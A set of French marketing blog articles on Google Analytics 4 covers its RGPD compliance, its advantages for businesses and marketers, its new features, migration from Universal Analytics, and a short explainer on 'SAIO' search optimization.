Une version qui répond aux normes RGPD

Google, longtemps pris à partie s’agissant du strict respect de la vie privée en ligne l’assure ; cette version vise au respect des principes édictés sur la protection des informations à caractère personnel.  Google Analytics 4 assure en effet d’avoir une emprise sur la manière dont vous choisissez, conservez, vous servez et partagez vos données.

En utilisant Google Analytics 4, il est possible désormais de garder caché les adresses IP de vos abonnés. Depuis l’avènement des normes RGPD qui traitent du caractère hautement privé et inviolable des données recueillies sur le web, il vous faut vous assurer d’avoir l’aval de vos utilisateurs. Ceci, avant même de récolter des données à son égard.

Vous devez aussi permettre à vos utilisateurs d’empêcher l’assemblage de données dès qu’ils le jugent nécessaire. Ceci, par le biais d’une extension reliée à leur navigateur. Le but ici est de leur permettre en toute autonomie de décider si leur données doivent être ou non présentes dans la liste de celles que vous rassemblez.

Aussi devrez-vous définir à l’avance la période sur laquelle vous désirez conserver les données que vous avez recueillies. Dès la fin de ce délai, il faudra que les données soient immédiatement supprimées de Google Analytics. Il y a d’ailleurs une période maximale de conservation de données et elle est de 14 mois via Google Analytics 4.

Les utilisateurs peuvent aussi décider des données qu’ils partagent avec Google et sa team d’assistance. Il est donc primordial de personnaliser les informations Analytics que vous partagez avec Google. En effet, vous gardez la main pour valider ou non l’accès à votre compte, des mandataires du support technique de Google si vous désirez avoir de l’aide.

Vous pouvez aussi vous assurer les variables de signaux Google. En effet, les signaux Google assimilent les informations des utilisateurs qui ont validé la configuration des déclarations publicitaires sur leur navigateur. En activant donc les signaux Google, vous aurez la possibilité de bénéficier d’informations plus précises sur le comportement à passer d’un appareil à un autre de vos utilisateurs. 

Au-delà de tous ces éléments touchant à la vie privée en ligne, vous pouvez aussi décider ou non de vous servir de vos informations dans le but de personnaliser vos annonces publicitaires. En décidant d’activer les annonces Google, il est possible de personnaliser vos annonces publicitaires.

Aussi pouvez-vous accroître l’impact de vos différentes campagnes marketing. Désormais, vous pouvez maîtriser la configuration de vos communications selon de nombreux facteurs comme entre autres la géographie, la démographie ou l’événement.

Les atouts que confèrent Google Analytics 4

Avec Google Analytics 4, vous arrivez à suivre l’évolution de votre entreprise. Vous pourrez ainsi mesurer, assembler ou dupliquer toutes les interactions des utilisateurs avec votre entreprise sur de nombreux appareils et plateformes. Cela vous donne une vue complète et pertinente sur le parcours client.  

Google Analytics 4 permet aussi d’arriver à un univers changeant. En générant des mesures raisonnables et pérennes, Google Analytics 4 suggère un avenir radieux concernant les performances de l’entreprise. Ceci, sans oublier de satisfaire aux manques des abonnés s’agissant du respect de leur vie privée en ligne.

Avec Google Analytics 4, vous arrivez aussi à obtenir des insights commerciaux adéquats. Ceci, grâce aux aptitudes du machine learning de Google pour tirer le maximum des données sans problème. Partant, vous pourrez passer à l’action de façon efficace en vous basant sur les données et insights. Vos résultats marketing seront donc plus mesurables et plus pertinents.

De nos jours, les clients aspirent chaque jour un peu plus à être dans un échange constant avec les entreprises de la manière qui leur convient le plus. A titre d’exemple, un client qui effectue une recherche sur un produit depuis son téléphone voudrait avoir la facilité de l’acheter sur son ordinateur.

En tant qu’entreprise, vous devez donc avoir des insights sur ces chemins utilisateur pour pouvoir anticiper les différents besoins des clients. Partant, vous pourrez leur suggérer une expérience parfaite. Analytics 4, à travers sa nouvelle interface est d’ailleurs conçue pour vous permettre de gérer efficacement vos multiples flux d’informations.

Google Analytics 4 vous offre une mesure vraiment centrée sur le client. De quoi permettre une meilleure interaction entre entreprises et clients et partant une meilleure compréhension. Reposant sur le machine learning, Google Analytics 4 produit des informations pertinentes et utiles et vous assure une compréhension totale de vos clients. Ceci, tant sur les appareils que sur les plateformes.

Google Analytics 4 et le RGPD : ce que les entreprises doivent savoir

Les méthodes de Google Analytics 4 sont scrutées par les instances de régulation. Entre autres, des choses ont été reprochées à propos des transferts de données, qui passent directement vers les Etats-Unis. Les récentes recommandations requièrent donc des ajustements afin d’éviter à votre site internet, des ennuis avec le Règlement Général sur la Protection des Données, RGPD. Toutes les organisations qui touchent aux données personnelles y sont assujetties, qu’elles soient pourvu ou non d’un site internet. Si vous êtes concerné, alors vous êtes sur la bonne page. Faisons ensemble un point des règles qui s’imposent à vous pour évoluer dans vos activités sans crainte.

Quels sont les enjeux de la data pour les entreprises ?

La question liée aux données personnelles se pose de nos jours en défi majeur pour les entreprises. Quand les datas sont exploitées comme il faut, elles assurent des informations précises, complètes et cohérentes.

De quoi faire de meilleurs choix stratégiques dans les entreprises et de baser sa politique sur le management du risque.  Afin d’en tirer un meilleur parti, vous pouvez vous servir d’outils à l’image de Google Analytics. La version actuelle sera bientôt remplacée par une toute nouvelle dès Juin 2023.

Vous devrez donc passer à Google Analytics 4. Toutefois, il faudra faire attention à son utilisation car c’est une version qui n’est pas encore cookieless. Pour éviter des difficultés, la solution passe alors par le respect des consignes de la CNIL.

Que vise le RGPD ?

Le RGPD édité par la CNIL existe depuis 2016 et depuis mai 2018, est en vigueur. Il englobe la totalité des organisations, qui collectent des données personnelles, privées ou publiques. Il s’agit donc d’un règlement qui aspire à répondre à trois objectifs importants.

En premier, il s’agit du renforcement des droits des utilisateurs. Toute personne détient la possibilité de recevoir, après une demande, l’ensemble des données amassées aussi bien par une entité qu’un sous-traitant.

Deuxièmement, le règlement vise à responsabiliser tant les organisations que les sous-traitants dans la compilation des données personnelles accessibles sur un site internet. Troisièmement, le RGPD vise à veiller au respect dans l’Union européenne. Installé sur le territoire européen, le règlement prévoit des sanctions face aux cas de non-respect.

Il faut signaler que le RGPD touche prioritairement la sécurité des utilisateurs. Toutefois, il peut représenter un outil de premier plan pour l’arsenal d’analyse de données de votre entreprise.

Au regard du travail effectué sur la base de ces données, vous pourrez donc prendre des décisions pertinentes. Le RGPD offre une garantie de confiance envers les différents clients de l’entreprise. Pour l’image de cette dernière, le seul fait de savoir que vous veillez au strict respect des consignes érigées par la CNIL ne peut que vous avantager.

Aussi vos prises de décisions sont-elles plus promptes et efficaces puisque les données rassemblées répondront à vos objectifs. Par cette plus grande clarté et une communication claire, vous êtes en droit d’avoir une meilleure collaboration entre équipes et partenaires.

Vous pourrez donc plus aisément identifier les dangers afin de les contourner prestement. Pour finir, vous pourrez augmenter votre rentabilité par l’assemblage d’informations plus pertinentes en amont.

Les pratiques pour vous conformer au RGPD tout en étant un site internet

Votre site internet doit obligatoirement respecter les directives édictées par le RGPD. Le pourcentage des plaintes ne fait qu’augmenter. Pour cela, voici quelques bonnes pratiques que vous pourrez mettre en pratique dès maintenant.

De l’importance d’assoir une communication transparente sur l’assemblage d’informations personnelles

La chose la plus importante à faire est d’engager un moyen de communication de grande transparence sur votre site web, autour de l’assemblage de données personnelles. Ainsi, l’utilisateur doit pouvoir retrouver facilement la teneur des informations personnelles rassemblées et l’objectif qui est à la base de cette collecte des données.

Il doit également savoir les sous-traitants qui y ont accès ainsi que la durée de conservation des données collectées. Aussi doivent-ils être mis au courant lorsque des logiciels sont employés pour analyser les données.

Afin d’intégrer tout ceci à votre site internet,  il faudra alors disposer de précisions sur votre page d’accueil informant sur l’emploi des cookies. Vous devez aussi publier un texte communiquant l’ensemble des éléments et ceci, sur toutes les pages ou des informations d’ordre privées sont rassemblées.  

Entre autres, il peut s’agir d’un questionnaire de contact, d’un e-mail, d’un réseau social ou encore d’une procédure de commande en ligne. Prévoir une page consacrée exclusivement à l’assemblage ainsi qu’à la gestion des informations personnelles accessibles aisément sur votre site internet serait un atout. Elle est appelée Page Politique de confidentialité.

Quel objectif vise l’assemblage des informations personnelles ?

Il vous faut également en priorité, définir le but ultime de l’assemblage des informations personnelles. Pour la CNIL, cette finalité se doit d’être juste, définie et exprimée. Elle se doit de se conformer aux missions de l’entreprise.

Aussi est-il proscrit d’utiliser cette collecte de données pour un objectif autre que celui qui lui avait été assigné. Vous ne devez collecter que des données pertinentes et liées à l’objectif de départ. Le temps maximum de conservation des données collectées devra aussi être fixé et ne tenir que dans un laps de temps. En fonction de votre finalité, sachez qu’un temps de conservation est établi par la CNIL.

Accroître la sécurité autour des informations privées des utilisateurs

L’importance de renforcer la sécurité sur votre site internet coule de source, surtout si l’on s’en tient au caractère précieux des informations personnelles rassemblées. Le RGPD l’exige et contraint donc chaque organisation à prendre les mesures pour garantir un tant soit peu, la sécurité autour des informations recueillies.  

Cela passe entre autres éléments, par une sécurisation informatique avec par exemple le protocole https, mais également par la sécurisation du fichier physique, des droits d’accès informatiques et des locaux.

De l’obligation de nommer un professionnel pour protéger ses données

Il est aussi recommandé de désigner une personne dont le rôle sera de protéger les données. C’est encore plus important pour les structures qui touchent à des données sensibles. Entre autres, les données liées à la finance, la politique, la sécurité ou encore la religion doivent être traitées avec le plus grand sérieux.

Il vous faut procéder à la nomination en toute transparence et expérience d’un Data Protection Officer, DPO qui sera chargé du fichier de collecte. S’agissant d’un site internet appartenant à une autorité ou une structure publique, la présence du DPO est exigée.

La mise à jour fréquente de sa conformité RGPD

Pour finir, il est aussi souhaitable de mettre à jour fréquemment son site internet pour toujours être au parfum des différentes modifications ou apports au RGPD et de rester donc constamment en règle. Vous devez alors vérifier souvent si rien n’a changé ou si vous respectez encore et toujours les diverses mesures de sécurité.

Le respect du Règlement Général sur la Protection des Données est fondamental pour les entreprises qui aspirent à utiliser Google Analytics 4. Cet article vous a dans un premier temps décliné les objectifs du règlement. Dans un second temps, les bonnes pratiques qui peuvent aider les entreprises utilisant Google Analytics 4 à continuer dans le respect du règlement ont été exposées. Si vous êtes une entreprise, vous savez désormais ce qui est autorisé, et ce qui ne l’est pas. 

Les avantages de Google Analytics 4 pour les entreprises et les marketeurs

Google Analytics 3, outil attitré de collecte et d’analyse de données par les entreprises, a fait ses preuves depuis 2012. Il a assuré entre autres l’étude des performances de votre site web ou de votre application. Rattrapé par le temps, il doit désormais céder la place à sa nouvelle version, Google Analytics 4. Plus impactant, il s’agit d’un nouveau type de propriété. Obligatoire au 01 juillet 2023 pour les personnes souhaitant continuer d’utiliser le service de Google, Google Analytics 4 vient avec une batterie de fonctionnalités et d’atouts. Des avantages notamment pour les entreprises ainsi que les marketeurs. Voyons ensemble dans cet article les atouts de Google Analytics 4 pour les entreprises et les marketeurs.

Les raisons de la mise en service de Google Analytics 4

En grande partie, ce changement veut obéir aux enjeux de l’e-privacy. Accéléré par l’Autorité Française de Protection des Données Personnelles avec l’appui de ses homologues européennes, elles estiment que l’anonymisation actuelle des données par Google Analytics est faible.

Universal Analytics a accès à des données qui sont traitées dans des pays étrangers, par exemple aux Etats-Unis où les autorités ont la possibilité de disposer librement de ces données. Récemment, des entreprises ont d’ailleurs été épinglées après des débordements concernant la confidentialité et l’analyse de données.

Le développement accéléré de Google Analytics 4 est donc une réponse urgente de Google. Objectifs, éviter l’abandon de son service par les clients qui pourraient jeter leur dévolu sur des options plus conformes à la RGPD.

Les principaux changements de Google Analytics 4

Au-delà du nom, il y a des modifications dans Google Analytics 4 comparativement à Universal Analytics. Des changements dans le but de répondre à toutes les failles relevées, mais aussi pour améliorer le service proposé de façon qualitative. Faisons un tour de ces changements tout en relevant les avantages pour les entreprises et marketeurs.

Le basculement des sessions aux événements

Au-delà de l’interface simplifiée, il y a l’évaluation des données et le mode de suivi des utilisateurs. Dans la version Universal Analytics, les utilisateurs sont suivis selon un prototype de données basé sur les sessions et les pages vues.

Avec Google Analytics 4, les utilisateurs sont suivis par le biais d’un type de données plus fluide reposant sur les événements et les données utilisateurs. Il s’agit donc d’un modèle récent de reporting entièrement orienté vers le cycle de vie de l’utilisateur. À ce titre, il choisit les diverses étapes du parcours client, comme l’acquisition, l’engagement, la monétisation et la fidélisation.

L’e-Privacy, au centre des préoccupations de Google Analytics 4

Grâce à Google Analytics 4, les enjeux posés par l’e-privacy trouvent solution. Cet outil ne conserve pas les adresses IP et assure leur anonymisation. Il admet également l’expiration des données utilisateurs après 14 mois et vise de moins en moins les cookies. 

De cette manière, Google Analytics 4 garantit de remédier à la dissipation progressive de ces cookies et les résultats d’analyse faussés. Tout ceci, par le biais de l’intelligence artificielle.

L’insertion d’une Machine Learning

Autre apport majeur, c’est l’intégration par Google Analytics 4 d’une machine learning. Elle se fonde sur la Big Data et les tendances pour produire des prédictions. À ce titre, vous pouvez avoir des statistiques prédictives ainsi que des du fait de l’intelligence artificielle. 

Pour l’heure, seul l’e-commerce va pouvoir en profiter. Toutefois, le futur de Google Analytics 4 va sans doute offrir plus de possibilités. L’établissement de cette nouvelle méthode de tracking assure aussi de contrer la suppression progressive des cookies par Google sur son navigateur.

Un tableau de bord très intuitif sous Google Analytics 4

Le nouveau tableau de bord de cet outil est une merveille, plus intuitive et plus pertinente pour un emploi quotidien. Vous pouvez également avoir accès à de nombreux rapports standards personnalisables à terme. 

De quoi vous assurer un suivi des statistiques optimisé et des indicateurs de performances encore plus intéressants. Une amélioration majeure pour la tenue et la gestion de vos indicateurs clés de performances dans vos campagnes marketing.

Google Analytics 4 pour une meilleure insertion des plateformes publicitaires

Autre atout dont vous disposez avec Google Analytics 4, c’est celui de disposer d’une meilleure intégration aux plateformes publicitaires Google. C’est par exemple le cas de Google Adwords qui vous aide lors de vos campagnes publicitaires payantes à l’image du remarketing.

Vous arrivez alors à améliorer les performances des campagnes des différentes entreprises concernées. Partant, vous pouvez accroître grandement la rentabilité de vos investissements marketing.

Google Analytics 4 pour disposer d’une seule et même propriété tant pour le site que l’application

Avec Universal Analytics, il fallait créer plusieurs propriétés pour chaque device. Ce n’est plus le cas maintenant car Google Analytics 4 assure de regrouper les devices sous une seule et même propriété. De quoi simplifier la vie des marketeurs, qui posent des actes dans une perspective de cross-device.

De quoi passer à la nouvelle version au plus tôt ?

Google Analytics 4 constitue l’outil d’analyse de données utilisateur pour tous, à compter de Juillet 2023. Ceci, pour les abonnés à la version standard de Google Analytics. Quant aux utilisateurs de la version 360, le rendez-vous du passage de témoin est pour Octobre 2023.

Les deux versions n’étant pas compatibles, il est important de sauter au plus tôt le pas. Vous devrez donc créer une nouvelle propriété, ce qui induit l’absence de l’historique des données au lancement de la nouvelle version.

Créer Google Analytics 4 dès maintenant est donc la solution, tout en continuant d’utiliser l’ancienne version. Passer à la nouvelle version vous offre d’en tirer les fonctionnalités innovantes sans pour autant perdre les rapports d’analyse complets de l’ancienne version.

La nouvelle version vous donne donc accès plus vite à vos différents rapports de données. Le moment est donc arrivé d’installer au plus tôt Google Analytics 4.

Tant pour les entreprises que pour les marketeurs, les avantages de Google Analytics 4 sont nombreux. Dans cet article, nous vous avons donné les informations dans ce sens, afin de vous faire un point global de ce dont vous pouvez profiter. Il ne vous reste plus qu’à installer Google Analytics 4, afin de pouvoir tirer profit de ses fonctionnalités nouvelles, pour le rayonnement de votre entreprise. 

Google Analytics 4 : les principales nouveautés et améliorations à connaître !

Cette année, Google Analytics a atteint un autre seuil. Cet outil qui trace aussi bien les sessions que les habitudes des sites internet de Google a fait sa mue. Lancé il y a de cela quelques années, Google Analytics 4 se charge ainsi de rassembler les activités tant en ligne que hors ligne, faire le suivi inter appareils, mais aussi bien sur le web que sur les applications mobiles. Cette performance pour ce qui est du suivi applications et web, existait depuis une année en bêta. 

Objectif :  suggérer entre autres des statistiques issues de l’intelligence artificielle et un meilleur contrôle des données personnelles. 

Comme vous pouvez vous y attendre, il y a des nouveautés, mais aussi des améliorations induites par Google Analytics 4. Cet article se charge de vous les recenser afin que vous soyez le mieux possible préparé et outillé pour son lancement.

Plusieurs nouveautés et améliorations sur Google Analytics 4

Google Analytics embarque pas mal de nouveautés. Il s’agit des statistiques et prédictions issues de l’intelligence artificielle, le rapport sur le cycle de vie complet des clients, ou encore les audiences intégrées dans Google Ads pour le remarketing. On peut aussi mentionner le tracking des événements sans code ou encore le contrôle des données personnelles.

  1. Google Analytics 4 permet d’avoir des statistiques et prédictions provenant de l’Intelligence Artificielle

Pour ses suggestions automatisées, Google Analytics se servait déjà de machine learning. L’intelligence artificielle est donc la nouvelle trouvaille de l’outil. Elle assure essentiellement de soumettre des données statistiques ainsi que des prévisions issues tant des résultats disponibles que des tendances de l’heure.

À titre d’exemple, Google Analytics 4 vous renseigne et vous met en état d’alerte lorsque l’un de vos articles s’écoule massivement. De quoi vous permettre d’anticiper pour éviter une rupture de stock. Aussi, Google Analytics vous permet-il d’être suffisamment préparé afin d’anticiper une hausse d’activité comparativement aux résultats des années antérieures ? 

Il permet également de connaître les gains potentiels d’une tranche de clients dont vous pourriez profiter. Pour les marketeurs, il s’agit là d’un outil d’une grande portée pour leur permettre d’anticiper les changements et d’être focalisés sur les meilleures audiences.

  1. Google Analytics assure une insertion plus exacte des audiences grâce à Google Ads

S’agissant des audiences, Google Analytics 4 joue aussi un rôle important. Il permet d’améliorer les données de ciblage établies sur les visites enregistrées concernant votre site ou application. Il est possible par exemple que vous ayez prévu une campagne de remarketing sur Google Ads avec des données de visite d’Analytics pour identifier les visiteurs de votre site. 

Google Analytics 4 vous permet de garder un œil sur les actions sur YouTube, tant sur l’application que via le web.

  1. Google Analytics 4 permet d’obtenir des rapports sur le cycle de vie du client

Une différence fondamentale entre Universal Analytics et Google Analytics 4, c’est que ce dernier repose sur le cycle de vie des clients. L’ensemble des rapports jadis disponibles ont été retravaillés.

D’autres éléments ont pu être ajoutés afin de baser la nouvelle version autour du cycle de vie des clients. De quoi permettre à la solution de reporting de pister le cycle de vie du client, en tenant compte de plusieurs étapes de son itinéraire. À titre d’exemple, il est possible de connaître les différents canaux qui séduisent de nouveaux clients dans le rapport sur l’acquisition d’utilisateurs.

Ensuite, il vous faudra employer les rapports sur l’engagement et la fidélisation pour cerner les agissements de ces clients. Ainsi, vous pourrez savoir si après la conversion, ils restent. Grâce à Google Analytics 4, il est aussi possible de comprendre le mode via lequel les clients interagissent avec votre site.

Tout ceci est disponible par le biais des multiples appareils et canaux. Vous n’aurez qu’à instaurer un ID personnel ou d’activer Google Signals afin que la seule et même personne, même s’il emploie de nombreux appareils, ne soit enregistrée qu’une fois comme utilisateur. Il s’agit-là d’une option très pratique tant pour le reporting que pour le retargeting.

  1. Google Analytics 4 assure le tracking des événements sans code

Le tracking sans code rend plus aisé de traquer et de suivre les actions essentielles posées sur le site et dans l’application. Par exemple, vous pourrez suivre aussi bien les scrolls de pages que les lectures de vidéo.

Tout ceci, sans ajouter de code ou établir un suivi d’événements dans Google Tag Manager. Outre cet atout de mise en place comparativement à Universal Analytics, Google Analytics 4 se singularise par la réactivité du tracking. Le reporting peut donc se faire sans délai, contrairement à l’ancienne version ou on pouvait attendre parfois toute une journée.

  1. Google Analytics 4 et son impact sur le contrôle des données personnelles

Il est à signaler que Google Analytics 4 est également mieux adapté au Règlement Général sur la Protection des Données au sein de l’Union Européenne, RGPD. Il assure à ce titre, un contrôle plus minutieux, de quoi vous assurer de rester plus aisément en conformité.

Il existe un mode de consentement pour les sites qui requièrent le consentement de l’utilisateur final afin de recueillir des éléments d’analyse. S’agissant des analyses et des publicités, ce nouveau code induit des options de consentement distinctes.

Ainsi, la suppression de données est améliorée et simplifiée. De quoi aider les entreprises à respecter les demandes de suppression émises par des utilisateurs, sans avoir à effacer plus de données que requises. Les gérants des sites pourront aussi disposer d’un mode de prévisualisation. Ce dernier leur permet de s’assurer des données qu’ils sont sur le point de supprimer.

Google Analytics 4 pour un Analytics bientôt sans cookies

C’est connu, les cookies de tierce-partie sont condamnés à disparaître. Pour atteindre son objectif, Google Analytics 4 suggère une utilisation combinée du machine learning et du croisement de données. De quoi obtenir un ensemble de données mixtes.

Vous l’aurez remarqué, les avantages essentiels de Google Analytics 4 sont évidents. Il s’agit surtout du suivi du cycle de vie client par le biais des événements et appareils utilisés, tout ceci immédiatement.

Le SAIO, quesako ?

Introduction

Dans le monde numérique actuel, l’utilisation des moteurs de recherche est devenue une activité quotidienne pour de nombreuses personnes. Que ce soit pour trouver des informations sur un sujet précis, des produits à acheter ou des personnes à contacter, la recherche est souvent le premier moyen d’obtenir ces informations. Cependant, la qualité des résultats de recherche peut varier considérablement en fonction de la qualité des requêtes et des algorithmes de recherche utilisés. C’est là que la notion de Search Artificial Intelligence Optimization (SAIO) entre en jeu, développé par François Tréca dans son article du 30 mars 2023.

Le SAIO est une méthode d’optimisation de la recherche qui utilise l’intelligence artificielle et le traitement du langage naturel pour améliorer la pertinence des résultats de recherche. Le SAIO combine des techniques d’apprentissage automatique et des algorithmes de recherche pour comprendre les requêtes des utilisateurs et fournir des résultats de recherche plus précis et plus pertinents.

Dans cet article, nous allons examiner de plus près le concept de SAIO, ses avantages pour les utilisateurs et les entreprises, ainsi que les défis qu’il présente. Nous allons également discuter des perspectives d’avenir pour le SAIO et de l’optimisation de la recherche.

Les bases du SAIO

Le Search Artificial Intelligence Optimization est basé sur l’utilisation de l’intelligence artificielle et du traitement du langage naturel pour améliorer la pertinence des résultats de recherche. Pour ce faire, le SAIO utilise des techniques d’apprentissage automatique pour analyser les modèles de recherche et les comportements des utilisateurs.

Le traitement du langage naturel (NLP) est une partie essentielle du SAIO. Le NLP permet à l’ordinateur de comprendre le sens des requêtes des utilisateurs, plutôt que de simplement chercher des mots clés. Cela permet une recherche plus précise et plus personnalisée.

Les algorithmes de recherche sont également utilisés pour analyser les comportements des utilisateurs et ajuster les résultats de recherche en fonction de leurs préférences. Les algorithmes peuvent prendre en compte des facteurs tels que la localisation de l’utilisateur, les recherches précédentes et les interactions avec les résultats de recherche.

L’utilisation de l’intelligence artificielle et du traitement du langage naturel dans le SAIO permet également de résoudre des problèmes de recherche plus complexes, tels que les requêtes longues et complexes et les synonymes. Le SAIO peut comprendre les relations entre les mots et les concepts pour fournir des résultats plus pertinents et plus précis.

En somme, le SAIO utilise des techniques d’apprentissage automatique, de traitement du langage naturel et d’algorithmes de recherche pour améliorer la pertinence des résultats de recherche. Cela permet une recherche plus précise, plus personnalisée et plus efficace.

Les avantages du SAIO pour les utilisateurs

Le SAIO offre plusieurs avantages pour les utilisateurs, notamment :

  1. Amélioration de la pertinence des résultats de recherche : le SAIO utilise des techniques d’apprentissage automatique pour comprendre les requêtes des utilisateurs et fournir des résultats de recherche plus précis et plus pertinents.
  2. Personnalisation des résultats en fonction des préférences de l’utilisateur : le SAIO analyse les comportements des utilisateurs et ajuste les résultats de recherche en fonction de leurs préférences. Cela permet une recherche plus personnalisée et plus efficace.
  3. Réduction du temps nécessaire pour trouver les informations recherchées : grâce à l’amélioration de la pertinence et de la personnalisation des résultats de recherche, les utilisateurs peuvent trouver les informations qu’ils recherchent plus rapidement et plus facilement.

En somme, le SAIO permet une expérience de recherche plus agréable et plus efficace pour les utilisateurs. Les résultats de recherche sont plus pertinents et plus personnalisés, ce qui permet de gagner du temps et de trouver les informations recherchées plus rapidement.

Les avantages du SAIO pour les entreprises

Le SAIO offre également des avantages pour les entreprises, notamment :

  1. Amélioration de la satisfaction client : en fournissant des résultats de recherche plus pertinents et plus personnalisés, les entreprises peuvent améliorer la satisfaction de leurs clients.
  2. Augmentation des taux de conversion : des résultats de recherche plus précis et pertinents peuvent conduire à une augmentation des taux de conversion, car les clients sont plus susceptibles de trouver les produits ou services qu’ils recherchent.
  3. Amélioration de la visibilité de la marque : en utilisant le SAIO pour améliorer la pertinence des résultats de recherche, les entreprises peuvent améliorer leur visibilité en ligne et augmenter leur présence sur les moteurs de recherche.
  4. Réduction des coûts publicitaires : en améliorant la pertinence des résultats de recherche, les entreprises peuvent réduire leur dépendance à la publicité payante pour attirer des visiteurs sur leur site Web.

En somme, le SAIO offre de nombreux avantages pour les entreprises, notamment une amélioration de la satisfaction client, une augmentation des taux de conversion et une réduction des coûts publicitaires. Le SAIO peut également aider les entreprises à améliorer leur visibilité en ligne et à renforcer leur présence sur les moteurs de recherche.

Quelles peuvent être les limites de cette pratique ?

Malgré les avantages du SAIO, il existe également des limites à cette technologie, notamment :

  1. La qualité des données d’entraînement : le SAIO repose sur des données d’entraînement pour apprendre à fournir des résultats de recherche pertinents. Si ces données sont de mauvaise qualité ou biaisées, cela peut affecter la qualité des résultats de recherche.
  2. La compréhension des requêtes complexes : bien que le SAIO soit capable de comprendre les requêtes longues et complexes, il peut encore avoir du mal à comprendre certains types de requêtes, ce qui peut conduire à des résultats de recherche moins pertinents.
  3. Le manque de transparence : les algorithmes de recherche utilisés par le SAIO peuvent être difficiles à comprendre pour les utilisateurs, ce qui peut rendre difficile de savoir comment les résultats de recherche sont générés.
  4. La confidentialité des données : le SAIO utilise souvent des données personnelles pour personnaliser les résultats de recherche, ce qui peut soulever des préoccupations en matière de confidentialité et de sécurité des données.

En somme, bien que le SAIO offre de nombreux avantages, il est important de reconnaître ses limites. Les entreprises doivent travailler à garantir la qualité des données d’entraînement, à améliorer la compréhension des requêtes complexes, à augmenter la transparence des algorithmes de recherche et à protéger la confidentialité des données des utilisateurs.

Comment migrer de Universal Analytics à Google Analytics 4 ?

À compter du 1er juillet 2023, la version actuelle Universal Analytics ne sera plus à même de traiter les données des sites internet. Prendra place, une autre version améliorée et plus conforme aux besoins des internautes. Toutefois, sauf abandon de l’outil, vous vous devez de planifier au mieux la migration de vos données d’Universal Analytics vers Google Analytics 4. Voici pour vous aider, l’essentiel des informations afin que la migration se déroule comme il faut.

Fin annoncée de Universal Analytics : la fin d’une ère !

C’est tout un pan du web qui va se trouver modifier. En fonction depuis 2012, la version actuelle de Google Analytics, également appelée Universal Analytics, va s’estomper courant 2023. Ainsi, l’ensemble des données historiques seront purement et simplement effacées au 31 décembre.

À compter du 1er juillet, la version gratuite de l’outil ne traitera plus la data. Pour sa version payante, elle devrait aussi cesser de fonctionner au 1er octobre. Une nouvelle qui n’est pas vraiment surprenante. En effet, depuis 2020, la version bêta de Google Analytics 4 existe.

Aussi, les updates d’Analytics sont réguliers depuis l’acquisition en 2005 de Urchin Software Corporation par Google. Passer à Google Analytics 4 représente ainsi une croissance normale, qui suit le tempo des modifications de l’univers digital. Les raisons de tout ceci sont à trouver aussi bien d’un point de vue technique que juridique.

Les causes techniques

D’un point de vue technique, Universal Analytics ne trouve plus d’issues aux problématiques des utilisateurs comme par le passé, à son arrivée et les années qui ont suivi. Google Analytics 3 a été pensé pour une conception de mesures orientées navigation via desktop, sur des sessions indépendantes, et en reposant sur les cookies en majorité.

Un modèle qui de plus en plus laisse place à une nouvelle logique de la data analyse, basé essentiellement sur l’omnicanalité qui est de mise s’agissant de navigation, donc de sélection et de croisement des données.

Face à tout ceci, Google Analytics 4 propose des solutions pratiques en identifiant mieux les utilisateurs multi-appareils et multi-navigateurs. Cela empêche de les dupliquer et offre la possibilité de mieux cerner leurs agissements à travers son interfaçage avec Firebase, la plateforme applicative.

Les causes juridiques

D’un point de vue juridique, Google Analytics 4 est obligé de prendre en compte l’évolution des règles concernant la sécurisation des données personnelles. Cette récente version de l’outil ne se base pas sur les cookies. Elle repose plutôt sur un modèle de données fondées sur les événements.

Mieux, Google Analytics 4 permet de ne point stocker les adresses IP. Absolument tout est donc mis en œuvre pour rester entre les lignes tracées par les textes en vigueur et pour aider les utilisateurs à rester dans les canevas établis. Utiliser Google Analytics 4, c’est donc avoir les habitudes les plus récentes s’agissant de navigation.

C’est aussi résoudre les difficultés juridiques qui proviennent de la récolte et du traitement des données personnelles des utilisateurs. Il s’agit d’une version qui devrait tout autant alléger le travail de toutes les personnes chargées de l’analyse de la data au sein des structures et agences digitales.

Les nouveautés embarquées par Google Analytics 4

Google pointe, sur sa page dédiée, les nombreuses innovations de Google Analytics 4. Il s’agit de la collecte des données à partir des sites web et des applications. Ceci dans le but de donner une compréhension accrue du parcours client par l’intermédiaire d’une analyse fédérée des multiples canaux. De la sorte, il sera alors aisé de traquer un seul et même événement depuis des plateformes diversifiées.

Il y a aussi l’exploitation des données reposant sur les événements réalisés, pendant qu’Universal Analytics se base sur les sessions et les usagers. Les événements prennent en compte la totalité des variables désirées, sous une seule et même enseigne.

A cela, on peut ajouter l’insertion de paramètres de confidentialité. Ces derniers se reposent sur les besoins légaux s’agissant de protection des données. Le machine learning rend possible ces diverses fonctionnalités prédictives. De surcroît, Google Analytics 4 offre d’anonymiser les adresses IP pour un contrôle excellent des données utilisateurs.

Google Analytics 4 permet aussi l’intégration directe aux plateformes multimédias. Objectifs, simplifier les gestes réalisés depuis un site web ou une application, y compris Google Ads. De quoi permettre une bonification des performances des campagnes.

Pour finir, on peut aussi signaler la mise sur pied d’une interface plus appropriée aux besoins des utilisateurs, dans le but d’atteindre une expérience maximale. Autrement dit, plus de vues et de segments pour peu de rapports, rapports orientés sur le cycle de vie du client, interface plus intuitive, entre autres.

Pourquoi anticiper la migration vers Google Analytics 4 ?

Tout en sachant que la version actuelle de Google Analytics aura disparu à compter du 1er juillet 2023, il est important de vite s’y préparer. En effet, dans l’analyse de données, il est essentiel de se fonder sur une période vraiment longue.

Ceci, dans le but de favoriser des examens comparatifs avec une période précédente. Ainsi, il est recommandé de faire une analyse d’une année sur l’autre. L’idéal serait donc d’avoir un historique sur un an pour également assurer une adoption aussi fluide que possible en interne.

Comment assurer sa migration vers Google Analytics 4 ?

Afin d’assurer la migration vers Google Analytics 4, il faudra ajouter une nouvelle fonction à celle d’Universal Analytics existante. Cette dernière poursuivra la collecte des données sans modification jusqu’à la fin de Google Analytics 3. Vous pourrez ainsi avoir accès aux deux fonctions depuis le sélecteur de fonction. Gardez à l’esprit que la nouvelle propriété n’ajoute pas les données de l’historique.

L’outil se charge de vous donner l’ensemble des instructions requises mais il est recommandé de réaliser la migration par un professionel du métier.

S’agissant d’un site web hébergé par un CMS, il est possible que vous n’ayez pas la balise gtag.js.

Il faudra d’abord l’installer par le tableau de bord du CMS sur les pages désirées. Vous n’aurez toutefois nul besoin de supprimer la balise existante.

Cela vous permettra de continuer la collecte des données pour Google Analytics 3. Au cas où la balise est déjà employée, il faudra activer la collecte de données. Ceci, par le biais des balises existantes gtag.js utilisées au même moment pour les deux versions de Google Analytics.

